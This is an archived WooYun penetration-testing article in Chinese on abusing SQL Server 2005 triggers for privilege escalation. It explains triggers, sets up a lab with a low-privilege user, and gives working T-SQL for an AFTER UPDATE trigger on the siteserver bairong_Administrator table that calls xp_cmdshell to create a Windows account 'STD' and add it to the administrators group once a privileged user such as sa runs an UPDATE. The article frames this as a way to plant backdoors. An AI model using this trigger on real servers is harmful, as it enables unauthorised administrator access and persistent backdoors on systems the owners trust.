# SqlServer 2005 Trigger

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-11-02T05:23:00Z
Canonical: https://wepostx.com/topics/612

> 乌云历史资料归档
>
> **原始作者：** darksn0w
> **原始编号：** superkieran-wooyundrops:381
> **原始发布时间：** 2014-11-02 13:23
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x01 什么是触发器：

触发器对表进行插入、更新、删除的时候会自动执行的特殊存储过程。触发器一般用在check约束更加复杂的约束上面。触发器和普通的存储过程的区别是：触发器是当对某一个表进行操作。诸如：update、insert、delete这些操作的时候，系统会自动调用执行该表上对应的触发器。SQL Server 2005中触发器可以分为两类：DML触发器和DDL触发器，其中DDL触发器它们会影响多种数据定义语言语句而激发，这些语句有create、alter、drop语句。

## 0x02 问题描述：

a)通过Sqlserver的触发器，可以利用执行者的权限执行自定义的命令。
b)渗透过程中可能利用的触发器场景：在设置好触发器以后，等待、诱使高权限用户去触发这个触发器，来实现入侵、提权、留后门等目的。
c)Sqlserver的触发器可以分为两类：DML触发器(After insert，After delete，After update和instead of)和DDL触发器（for）。
实验环境： Win2003x86 && SqlServer 2005，默认安装Sqlserver，安装一个开源应用siteserver，并建立test用户，不给予服务器角色，数据库角色仅给予dbo和public权限。并将test库与test用户相互映射。SqlServer的xp_cmdshell已经被恢复。
实验过程： a)使用test用户建立触发器语句：

```text
#!bash SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO --这些是 SQL-92 设置语句，使 mssql 遵从 SQL-92 规则。 CREATE TRIGGER test ON bairong_Administrator AFTER UPDATE /*建立一个作用于表bairong_Administrator的、 类型为After update的、名为test的触发器*/ AS BEGIN --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL' EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add' EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add' /*默认格式begin为开头加上触发后执行的语句,这里是利用储存过程添加系统账号。*/ END GO
```

![原文图片](/media/2016/06/780c4e000dd28f826db37c9e2ab5e854)

b)执行UPDATE操作，是触发器执行：
1)使用UPDATE语句来触发触发器：

```text
#!bash UPDATE bairong_Administrator SET [email protected] ' WHERE UserName='admin';
```
使用test用户执行：

![原文图片](/media/2016/06/5b4571e82112af7881003cb81c1d42f1)

![原文图片](/media/2016/06/578c940840f232efdaf62695e7638985)

![原文图片](/media/2016/06/777eb14ff46eae91f4dfa19741be9f7a)

2)使用sa用户执行：

![原文图片](/media/2016/06/f17a6b629f7833ec2517679f0c87d368)

![原文图片](/media/2016/06/e3334ea59fecb779833a7c133f28f28f)

![原文图片](/media/2016/06/0850e6b4ead658a88a26bc0f76b322e3)

那么这就产生一个问题了，如何利用被动触发留后门或渗透攻击。

## Replies
